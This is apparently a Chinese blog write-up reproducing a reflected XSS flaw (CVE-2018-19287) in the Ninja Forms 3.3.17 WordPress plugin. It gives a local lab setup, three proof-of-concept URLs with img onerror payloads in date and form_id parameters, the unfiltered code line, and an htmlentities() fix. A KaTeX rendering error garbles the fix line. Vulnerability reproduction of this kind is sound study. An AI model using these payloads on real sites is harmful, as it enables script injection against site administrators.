进行了web攻击及防御的技术总结,内容不是很全,还会进行细节补充。
Ninja Forms 3.3.17存在XSS漏洞(CVE-2018-19287)
1.环境:
Win10
phpstudy2016
火狐浏览器
wordpress
Ninja Forms 3.3.17
2.复现
搭建PHPstudy+WordPress
下载并解压WordPress,修改配置文件wp-config.php:
打开phpmyadmin,新建wp数据库并设置:
进入http://localhost:8080/wordpress/
会看到wordpress的安装界面,输入相关信息完成安装。
进入搭建的网站
下载Ninja Forms 3.3.17
复制压缩包内的ninja forms目录到wordpress程序的安装目录下的/wp-content/pluginsss目录下
登录后台开启插件
POC1: http://localhost:8080/wordpress/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+οnerrοr=alert(/POC1/);//&filter_action=Filter&paged=1&action2=-1
POC2:
http://localhost:8080/wordpress/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+οnerrοr=alert(/POC2/);//&end_date&filter_action=Filter&paged=1&action2=-1
由于
POC3:
http://localhost:8080/wordpress/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1">&nf_form_filter&paged=1
3.漏洞分析:
查阅相关资料后得知,POC3成功的原因:
Submissions.php文件存在
$form_id = ‘&form_id=’ . $_GET[ ‘form_id’ ] . ‘&nf_form_filter&paged=1’;
form_id并没有被过滤导致XSS的存在
利用htmlentities()等函数转义html实体
KaTeX parse error: Expected 'EOF', got '&' at position 12: form_id = '&̲form_id=' . htm…_GET[ ‘form_id’ ]) . ‘&nf_form_filter&paged=1’;
修改后,POC3就无法成功了